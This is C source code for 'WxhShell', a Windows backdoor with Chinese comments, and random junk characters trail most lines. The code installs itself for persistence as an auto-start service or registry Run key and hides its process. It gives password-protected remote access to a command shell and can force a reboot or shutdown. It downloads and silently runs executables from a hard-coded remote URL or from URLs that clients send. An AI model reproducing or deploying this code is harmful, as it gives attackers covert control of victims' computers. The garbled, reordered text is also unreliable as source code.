    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )3h\QE!z  
    else { BSm"]!D8*  
    closesocket(wsh); ;(i6 X)  
    ExitThread(0); cH5i420;aO  
    } eCGr_@1  
    break; %Ig$:I(o  
    } JS/'0.  
  // 获取shell :j&enP5R(q  
  case 's': { ^k6_j\5j  
    CmdShell(wsh); [^hW>O=@TN  
    closesocket(wsh); \=%lH= yS  
    ExitThread(0); ~c)&9'  
    break; a4*v'Xc5  
  } (`.# n3{  
  // 退出 F^%w%E\  
  case 'x': { b| L;*<KU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )-2Nc7  
    CloseIt(wsh); xi (@\A  
    break; aXe&c^AR  
    } #h;   
  // 离开 +x%u?ZR  
  case 'q': { qb"S   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /oPW0of  
    closesocket(wsh); #UM,)bH  
    WSACleanup(); 5 ^{~xOM5  
    exit(1); [> HKRVy  
    break; `O\>vn  
        } >_}isCd,  
  } X$kLBG_  
  } ](r}`u%}y  
p4VARAqi  
  // 提示信息 L)'G_)Sl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $f:uBhM  
} Rpn<"LIoB:  
  } k~[jk5te  
(5$Ge$  
  return; +#IUn  
} t&U9Z$LS  
Jm4uj &}3  
// shell模块句柄 lNe4e6  
int CmdShell(SOCKET sock) ifn=De3+  
{ LW1 4 'A}  
STARTUPINFO si; H oQb.Z  
ZeroMemory(&si,sizeof(si)); FvsVfV U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; k{*EoV[.$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; * F!B4go  
PROCESS_INFORMATION ProcessInfo; uaIAVBRcS  
char cmdline[]="cmd"; +<E#_)}`D6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $0Y`> 3  
  return 0; Fs]N9],=I  
}  u$?!  
<F3{-f'Rx  
// 自身启动模式 8\{!*?9!  
int StartFromService(void) x1:mT[[$  
{ <#0i*PM_  
typedef struct {a[BhK'g  
{ UBd+,]"f  
  DWORD ExitStatus; 6J;!p/C8E  
  DWORD PebBaseAddress; h8V*$  
  DWORD AffinityMask; vP{i+s18B  
  DWORD BasePriority; 1Ek3^TOv7  
  ULONG UniqueProcessId; _9BL7W $;  
  ULONG InheritedFromUniqueProcessId; 3,p!Fun:r  
}   PROCESS_BASIC_INFORMATION; \S h/<z  
67EGkW?hbt  
PROCNTQSIP NtQueryInformationProcess; t jM9EP  
k8 #8)d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; q^[t</_ N  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !*l/Pr^8  
AE~zm tW  
  HANDLE             hProcess; x}2nn)fdZ  
  PROCESS_BASIC_INFORMATION pbi; x(c+~4:_M  
Ug*B[q/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cyNE}  
  if(NULL == hInst ) return 0; QGNKQ`~  
4&E"{d >  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (^yaAy#4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _qB ._  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); QN8+Uj/zx  
4j3q69TZR  
  if (!NtQueryInformationProcess) return 0; ]I*RuDv}  
DT-.Gdb8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |?KYY0  
  if(!hProcess) return 0; +c8`N'~  
kw59`z Es  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ") 8l'^Mq2  
?q6#M&|j/I  
  CloseHandle(hProcess); knO X5UnS  
ue8 @=}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wai3g-`  
if(hProcess==NULL) return 0; EUSM4djL  
EI=~*&t  
HMODULE hMod; ,OlS>>,  
char procName[255]; e\~nqKCb  
unsigned long cbNeeded; w!UF^~  
ql9n`?Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `N[@lV\xp!  
6EC',=)6R  
  CloseHandle(hProcess); {5VJprTbv  
{n>.Y -=  
if(strstr(procName,"services")) return 1; // 以服务启动 lAnOO5@8  
=b66H]h?  
  return 0; // 注册表启动 uWx<J3~q.  
} Zf>:h   
TQb/lY9*  
// 主模块 cKYvNM  
int StartWxhshell(LPSTR lpCmdLine) dQ;8,JzIw&  
{ f5//?ek  
  SOCKET wsl; z1b@JCWE  
BOOL val=TRUE; 7a>+ma\  
  int port=0; 7Td 9mkO  
  struct sockaddr_in door; _#M4zO7  
sm"Rp~[i  
  if(wscfg.ws_autoins) Install(); UD14q~ (1Z  
6`-<N!  
port=atoi(lpCmdLine); pIR_2Eq  
(J4( Ge  
if(port<=0) port=wscfg.ws_port; NEIF1( :  
V9/2y9u  
  WSADATA data; )z&C&Gqz  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7/M[T\c  
AxEdQRGk  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?h1g$SBxk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LV ]10v6  
  door.sin_family = AF_INET; -5v{p  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0B[~j7EGO  
  door.sin_port = htons(port); "KF]s.  
;^JMX4[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L_ T+KaQCH  
closesocket(wsl); A1;'S<a  
return 1; E<D^j^T  
} qYoU\y7  
HjzAFXRG  
  if(listen(wsl,2) == INVALID_SOCKET) { zA?AX1%Wa  
closesocket(wsl); J>+\a1{  
return 1; ?*UWg[  
} 'h;qI&  
  Wxhshell(wsl); -+i7T^@|  
  WSACleanup(); mb`h  
vH}VieU  
return 0; 6i+AJCkC  
SnX)&>B  
} [T9]q8"  
^r<l#D,  
// 以NT服务方式启动 /F^ Jn_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]):>9q$C  
{ G,+3(C  
DWORD   status = 0; <}.!G>X  
  DWORD   specificError = 0xfffffff; J@i9)D_  
zXUB6. e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R4b!?}d  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yXIJeo"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,+Ocb-*  
  serviceStatus.dwWin32ExitCode     = 0; toU<InN  
  serviceStatus.dwServiceSpecificExitCode = 0; N/#x  
  serviceStatus.dwCheckPoint       = 0; O9<oq  
  serviceStatus.dwWaitHint       = 0; ;P}007;  
Mcz;`h|EW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :_F 8O  
  if (hServiceStatusHandle==0) return; |}8SjZcQW  
1Ke9H!_P  
status = GetLastError(); sUQ Q/F6  
  if (status!=NO_ERROR) 7/KK}\NE  
{ o:*$G~. k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  `2\:b^h  
    serviceStatus.dwCheckPoint       = 0; `H9 +]TWj<  
    serviceStatus.dwWaitHint       = 0; y"8,jm  
    serviceStatus.dwWin32ExitCode     = status; OXl0R{4  
    serviceStatus.dwServiceSpecificExitCode = specificError; eNH9`Aa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ugj I$u  
    return; MLi aCG;  
  } hpbi!g  
}G^'y8U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; LOG>x!  
  serviceStatus.dwCheckPoint       = 0; -2u)orWP  
  serviceStatus.dwWaitHint       = 0; * RX^ z6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); y,OG9iD:h  
}  JJs*2y  
*)?'!  
// 处理NT服务事件,比如:启动、停止 >[nR$8_J-l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sV0NDM0  
{ {KK/mAp{  
switch(fdwControl) 7hLh}  
{ .!+7|us8l\  
case SERVICE_CONTROL_STOP: }}rp/16  
  serviceStatus.dwWin32ExitCode = 0; /<-=1XJI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; fo~*Bp()-E  
  serviceStatus.dwCheckPoint   = 0; P0sAq7"  
  serviceStatus.dwWaitHint     = 0; \"L0d1DK)  
  { &sYxe:H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  !I&,!$  
  } cf ^i!X0  
  return; Q W c^}#!!  
case SERVICE_CONTROL_PAUSE: ^ rUq{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +7AH|v8  
  break; mC-wPi8  
case SERVICE_CONTROL_CONTINUE: cF EO}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0r i  
  break; +%WW8OX   
case SERVICE_CONTROL_INTERROGATE: 8X278^ #  
  break; VfDa>zV3  
}; v046  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qUn+1.[%  
} BG.sHI{  
^ uwth  
// 标准应用程序主函数 Jt<J#M<}7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]Wjcr2Wq  
{ gq4X(rsyD  
\D]9:BNJ  
// 获取操作系统版本 >#gDk K  
OsIsNt=GetOsVer(); O 9M?Wk :  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p=kt+H&;  
F ~7TE91C  
  // 从命令行安装 nZ#u#V  
  if(strpbrk(lpCmdLine,"iI")) Install(); )iK:BL*Nw  
@6aJh< c  
  // 下载执行文件 |b^UPrz)VS  
if(wscfg.ws_downexe) { ?4aW^l6/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1A#/70Mo  
  WinExec(wscfg.ws_filenam,SW_HIDE); X8R:9q_  
} Zu>-y#Bw  
3-1a+7fD  
if(!OsIsNt) { % -+7=x  
// 如果时win9x,隐藏进程并且设置为注册表启动 J6>tGKa+e  
HideProc(); BgDWl{pm  
StartWxhshell(lpCmdLine); WB<MU:.Vc  
} UlNV%34"  
else TiG?r$6v%  
  if(StartFromService()) o61rTj  
  // 以服务方式启动 $ e,r>tgD  
  StartServiceCtrlDispatcher(DispatchTable); oe3=QE  
else AGjjhbGB  
  // 普通方式启动 loE;q}^  
  StartWxhshell(lpCmdLine); Z5*(xony0  
y9LO;{(  
return 0; @,c` #,F/  
} $d4&H/u^  
)54a' Hp  
Qe4 % A  
G]EI!-y  
=========================================== s1#A0%gx  
;_|4c7  
HD2C^V2@M  
]>*VEe}hJ  
ct OCj$$u  
& BY\h:  
" 9vwm RVN  
b?lRada{I  
#include <stdio.h> Tr|PR t  
#include <string.h> d<HO~+9  
#include <windows.h> K=}Eupn=  
#include <winsock2.h>  4~ L1~Gk  
#include <winsvc.h> ,=c(P9}^  
#include <urlmon.h> 0E,QOF{o  
j8PeO&n>  
#pragma comment (lib, "Ws2_32.lib") A"s?;hv\fS  
#pragma comment (lib, "urlmon.lib") q8;MPXSG3  
}aI>dHL  
#define MAX_USER   100 // 最大客户端连接数 a^E>LJL  
#define BUF_SOCK   200 // sock buffer C]l)Pz$  
#define KEY_BUFF   255 // 输入 buffer ^6F, lS_t  
`-R&4%t%  
#define REBOOT     0   // 重启 9ZatlI,  
#define SHUTDOWN   1   // 关机 7/k7V)  
p5w9X+G%  
#define DEF_PORT   5000 // 监听端口 ja/wI'J<  
9V&+xbR&  
#define REG_LEN     16   // 注册表键长度 !<VP[%2L~  
#define SVC_LEN     80   // NT服务名长度 `kv7Rr}Q  
Y  9z*xS  
// 从dll定义API 55UPd#E'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }$qrNbLJ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WPlf8* -fQ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]@Z nP,8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !$ii*}  
)'e1@CR  
// wxhshell配置信息 A:2CP&*  
struct WSCFG { G(Hr*T%  
  int ws_port;         // 监听端口 r!eW]M  
  char ws_passstr[REG_LEN]; // 口令 &2[Xu4*  
  int ws_autoins;       // 安装标记, 1=yes 0=no A-_M=\  
  char ws_regname[REG_LEN]; // 注册表键名 Kb;Pd!Q  
  char ws_svcname[REG_LEN]; // 服务名 4g}r+!T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9(}d7y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &DHIYj1 i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P?c V d2Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @qjN>PH~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" * a1q M?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;mz#$"(  
NV?XZ[<*<  
}; >SziRm>Y7  
s|c}9/Xe)  
// default Wxhshell configuration H.C*IL9  
struct WSCFG wscfg={DEF_PORT, *=v%($~PK6  
    "xuhuanlingzhe", C?]eFKS."  
    1, :pz@'J  
    "Wxhshell", D)l\zs%ie  
    "Wxhshell", CyHHV  
            "WxhShell Service", Dd/]?4  
    "Wrsky Windows CmdShell Service", r|\{!;7  
    "Please Input Your Password: ", "AKr;|m  
  1, YO?o$Hv16  
  "http://www.wrsky.com/wxhshell.exe", I*(kv7(c0  
  "Wxhshell.exe" +j+ v(-  
    }; .m>Qlh  
q@XJ,e1A  
// 消息定义模块 4${3e Sg_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; k{b|w')  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Z1+Ewq3m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c(FGW7L<  
char *msg_ws_ext="\n\rExit."; w2/3[VZ}l  
char *msg_ws_end="\n\rQuit."; )\2KDXc  
char *msg_ws_boot="\n\rReboot..."; 0`p"7!r  
char *msg_ws_poff="\n\rShutdown..."; n_LK8  
char *msg_ws_down="\n\rSave to "; d7QUg 6=  
~]?EV?T  
char *msg_ws_err="\n\rErr!"; 0.nkh6 ?  
char *msg_ws_ok="\n\rOK!"; i;]# @n|  
qxHn+O!h  
char ExeFile[MAX_PATH]; )dEcKH<#  
int nUser = 0; *&_cp]3-WF  
HANDLE handles[MAX_USER]; zw$\d1-+h  
int OsIsNt; Iw( wT_  
eLXL5&}`fh  
SERVICE_STATUS       serviceStatus; 1uG)U)y/Q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (f_J @n  
UGgo;e  
// 函数声明 {YrA [9  
int Install(void); fGs\R]  
int Uninstall(void); r)Zk-!1  
int DownloadFile(char *sURL, SOCKET wsh); /kRCCs8t}  
int Boot(int flag); [P ;fv  
void HideProc(void); xt "-Jmox  
int GetOsVer(void); QLHEzEvf{/  
int Wxhshell(SOCKET wsl); gae=+@z  
void TalkWithClient(void *cs); *kTp(*K/7`  
int CmdShell(SOCKET sock); ]>k8v6*=  
int StartFromService(void); F9% +7Op^  
int StartWxhshell(LPSTR lpCmdLine); 3W#E$^G_v  
8<C@I/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _zzNF93Bn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }''0N1,/  
=OPX9oG  
// 数据结构和表定义 a$^)~2U{  
SERVICE_TABLE_ENTRY DispatchTable[] = 'X6Y!VDd  
{ <}8G1<QZ'.  
{wscfg.ws_svcname, NTServiceMain}, k W 8>VnW  
{NULL, NULL} ]F>#0Rdc  
}; \b!E"I_^  
5|Z8UzL  
// 自我安装 E?KPez  
int Install(void) v+79#qWK|n  
{ ]$^HGmP  
  char svExeFile[MAX_PATH]; jJt4{c  
  HKEY key; v.>K )%`#  
  strcpy(svExeFile,ExeFile); YTY(Et1i  
,`YBTU  
// 如果是win9x系统,修改注册表设为自启动 '!?t+L%gO  
if(!OsIsNt) { Gx}`_[-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pBv,,d`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1ZYo-a;)  
  RegCloseKey(key); Y{#*;p*I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?K2}<H-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~%M*@ fm  
  RegCloseKey(key); E.ji;5  
  return 0; y^nT G  
    } :Mh\;e  
  } wqV"fZA\]  
} JEWc{)4QD  
else { |_7k*:#q:  
@H~oOf  
// 如果是NT以上系统,安装为系统服务 _~C1M&b(X3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); soQ[Zg4}  
if (schSCManager!=0) .oTS7rYw  
{ OW@)6   
  SC_HANDLE schService = CreateService J=: \b  
  ( I^u~r.  
  schSCManager, 6\I1J= C  
  wscfg.ws_svcname, Buh}+n2]5  
  wscfg.ws_svcdisp, 3T,[  
  SERVICE_ALL_ACCESS, jV%=YapF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2cIKph  
  SERVICE_AUTO_START, tu* uQ:Ipk  
  SERVICE_ERROR_NORMAL, oJ3(7Sz  
  svExeFile, S ~fz  
  NULL, &k)v/  
  NULL, EStui>ho  
  NULL, N!wuBRWR  
  NULL, JsuI&v  
  NULL qz3 Z'  
  ); Umzb  
  if (schService!=0) UA2KY}pz5  
  { q 165S  
  CloseServiceHandle(schService); 4pQf*l8e  
  CloseServiceHandle(schSCManager); ?nbu`K6T  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4KR`  
  strcat(svExeFile,wscfg.ws_svcname); 19y,O0# _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !vpXXI4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @n.n[zb\|  
  RegCloseKey(key); yFb"2  
  return 0; I=<Qpd4  
    } } S]!W\a  
  } X;UEq]kcmn  
  CloseServiceHandle(schSCManager); YaC[S^p  
} Y_jc*S  
} Cojs;`3iF:  
}+pwSjsno  
return 1; BN%cX 2j  
} H&p:  
wuYak"KX  
// 自我卸载 cHT\sJo`l  
int Uninstall(void) z~~pH9=c2  
{ "!AtS  
  HKEY key; 6m(? (6+;K  
 4uMMf  
if(!OsIsNt) { K\fD';  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +75"Q:I  
  RegDeleteValue(key,wscfg.ws_regname); %cUC~, g_(  
  RegCloseKey(key); qpCaW0]7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lMu-,Z="  
  RegDeleteValue(key,wscfg.ws_regname); )AR- b8..o  
  RegCloseKey(key); W#NZnxOX"  
  return 0; 1y1:<t  
  } 'Rsr*gX#  
} zx2`0%Q  
} _b-g^#L%  
else { MD<x{7O12>  
^9LoxU-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x4wTQ$*1  
if (schSCManager!=0)  1hi, &h  
{ 0uW)&>W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DeNWh2  
  if (schService!=0) @sZ7Ka  
  { ![r)KE=v8I  
  if(DeleteService(schService)!=0) { Q(yg bT  
  CloseServiceHandle(schService); Ij.mLO]  
  CloseServiceHandle(schSCManager); LA59O@r  
  return 0; XXA'B{@Y)  
  } ':_gYA  
  CloseServiceHandle(schService); Yu_ eCq5/  
  } fS|e{!iI"  
  CloseServiceHandle(schSCManager); G;u~H<  
} 7_qsVhh]$E  
} <bg6k .s  
047PlS  
return 1; wA/!A$v(  
} !A% vR\  
`fX\pOk~e  
// 从指定url下载文件 G9QvIXRi  
int DownloadFile(char *sURL, SOCKET wsh) iM:-750n/  
{ \_R<Q?D+  
  HRESULT hr; z2,NWmP|w  
char seps[]= "/"; Vraz}JV  
char *token; n[K%Xs)  
char *file; ,%xat`d3,3  
char myURL[MAX_PATH]; Lk#)VGk:  
char myFILE[MAX_PATH]; fSVM[  
/c-k{5mH%  
strcpy(myURL,sURL); V?x&\<;,  
  token=strtok(myURL,seps); =+T0[|gc(r  
  while(token!=NULL) dQ-g\]d|  
  { mSu$1m8  
    file=token; Zj ` ;IYFG  
  token=strtok(NULL,seps); ^z, B}Nz  
  } }{:}K<  
 (yd(ZY  
GetCurrentDirectory(MAX_PATH,myFILE); L1Yj9i  
strcat(myFILE, "\\"); 6}c!>n['  
strcat(myFILE, file); eS ?9}TG|  
  send(wsh,myFILE,strlen(myFILE),0); F 8sOc&L  
send(wsh,"...",3,0); _1$Y\Y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4,X CbcC  
  if(hr==S_OK) ~.U \Y  
return 0; G@jx&#v  
else D5bi)@G7z  
return 1; [`tNa Vg  
BLqK5~  
}  g;AW  
4o@:+T:1  
// 系统电源模块 ]=xX_  
int Boot(int flag) -OD&x%L*{3  
{ Y*#TfWv:  
  HANDLE hToken; Zj ^e8u=T  
  TOKEN_PRIVILEGES tkp; oPbziB8  
L5KcI  
  if(OsIsNt) { ]qq2VO<b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :-hVbS0I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D[6sy`5l  
    tkp.PrivilegeCount = 1; if\`M'3Xx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |<oqT+?i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V7gL*,3>=  
if(flag==REBOOT) { OQ<;w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i7YUyU  
  return 0; f qWme:x  
} !lsa5w{  
else { r #w7qEtD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !a!4^zqp  
  return 0; IFa~`Gf[  
} 5t_Dt<lIz  
  } :h3U^  
  else { L %ifl:K  
if(flag==REBOOT) { ~Ij/vyB_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) (47la$CR  
  return 0; 8o $ ` '  
} i$6a0'@U  
else { w r,+9uK  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) TPKD'@:x  
  return 0; q%vel.L]%  
} .i|nn[H &  
} )_o^d>$da  
6^BT32,'  
return 1; WI&}94w  
} H%Lln#  
}rs>B,=*k  
// win9x进程隐藏模块 ty%,T.@e  
void HideProc(void) mC(YO y  
{ Q~' \oWz  
(q}Li rR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1B~Z1w  
  if ( hKernel != NULL ) pY\ =f0]  
  { +/M%%:>mY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fuF{8-ua  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f3>DmH#  
    FreeLibrary(hKernel); :LdPqFXj  
  } 2hryY  
%S$$*|_G  
return; %yl17:h#  
}  |*-<G3@  
 H ="I=}  
// 获取操作系统版本 /?z3*x  
int GetOsVer(void) .EH1;/  
{ Ra H1aS(  
  OSVERSIONINFO winfo; HGd.meQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !gfd!R  
  GetVersionEx(&winfo); vr2PCG[~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t&EY$'c  
  return 1; \.Op6ECV9  
  else Mk+G(4p  
  return 0; /s=veiH  
} %9S0!h\  
ja&m-CFK  
// 客户端句柄模块 m_`%#$s}  
int Wxhshell(SOCKET wsl) 0 ?gHRdU"  
{ 27$,D XD  
  SOCKET wsh; 'ShK7j$  
  struct sockaddr_in client; ]bpgsW:Xu  
  DWORD myID; kBoQjOV`  
]H\tz@ &  
  while(nUser<MAX_USER) ?~yJ7~3TS<  
{ 8gt&*;'}*D  
  int nSize=sizeof(client); GCfVH?Vx  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %k )H7nj  
  if(wsh==INVALID_SOCKET) return 1; 0\@oqw]6hv  
HSAr6h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @>V;guJC%  
if(handles[nUser]==0) r`h".=oD  
  closesocket(wsh); jh`[ Y7RJO  
else ~{vB2  
  nUser++; d2-oy5cEB  
  } { w sT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BfVh\ lkH  
`r~3Pf).4  
  return 0; Zzz94`  
} K4YD}[  
oVPr`]  
// 关闭 socket )4c?BCgy  
void CloseIt(SOCKET wsh) c/v|e&q  
{ WW &Wh<4  
closesocket(wsh); 2+~gZxHq  
nUser--; V'MY+#  
ExitThread(0); 5/7(>ivn  
} cF8X  
zR]!g|;f  
// 客户端请求句柄 mZPvG  
void TalkWithClient(void *cs) ftl?x'P%  
{ rPGj+wL5-  
8"ZS|^#  
  SOCKET wsh=(SOCKET)cs; B.~] 7H5"(  
  char pwd[SVC_LEN]; 4K? \5(b  
  char cmd[KEY_BUFF]; )7o? }"I  
char chr[1]; nb<oo:^  
int i,j; ;e/F( J  
#d-zH:uq  
  while (nUser < MAX_USER) { 3JBXGT0gJ  
A>2_I)  
if(wscfg.ws_passstr) { C])s'XTs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1# z@D(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); " r o'?  
  //ZeroMemory(pwd,KEY_BUFF); b.@4yW  
      i=0; ZILJXX4  
  while(i<SVC_LEN) { q^Oj/ws  
0BhcXH t  
  // 设置超时 +jF2 {"  
  fd_set FdRead; LCtVM70  
  struct timeval TimeOut; PoPR34] ^J  
  FD_ZERO(&FdRead); s*<T'0&w0S  
  FD_SET(wsh,&FdRead); OWT%XUW=  
  TimeOut.tv_sec=8; PM#3N2?|E  
  TimeOut.tv_usec=0; mTxqcQc:7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m|{^T/kIbQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F@f4-NR>  
dM= &?g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iRlZWgj4^  
  pwd=chr[0]; %<(d %&~  
  if(chr[0]==0xd || chr[0]==0xa) { AD?XJ3  
  pwd=0; CW?Z\  
  break; -n"wXOx3  
  } tO:JB&vO2  
  i++; /:(A9b-B  
    } W.jXO"pN  
PgT8 1u  
  // 如果是非法用户,关闭 socket p^<(.+P4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); jga\Ry=nw  
} igk<]AwxS  
L-D4>+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Vq5U9-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /YHO"4Z  
:ZIa   
while(1) { $m2#oI 'D  
?{B5gaU9F  
  ZeroMemory(cmd,KEY_BUFF); kexV~Q  
nk%v|ZxoFv  
      // 自动支持客户端 telnet标准   ~a`[p\  
  j=0; #YE?&5t  
  while(j<KEY_BUFF) { <a @7's  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PD.$a-t  
  cmd[j]=chr[0]; 0ck3II  
  if(chr[0]==0xa || chr[0]==0xd) { 5 k3m"*  
  cmd[j]=0; `7: uc@  
  break; 8lYA6A  
  } ?8"* B^*Sh  
  j++; %N<5ST>(  
    } D~ Y6%9  
~. vridH  
  // 下载文件 m]>zdP+  
  if(strstr(cmd,"http://")) { JpC=ACF  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9Sxr9FLW~  
  if(DownloadFile(cmd,wsh)) =IsmPQKi  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _90D4kGU  
  else },l i'r#p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?I[8rzBWU  
  } m.m6.  
  else { F8?2+w@P  
[:cD  
    switch(cmd[0]) { VGeTX 4h  
  rAu% bF  
  // 帮助 h2Nt@  
  case '?': {  5cIZ_#  
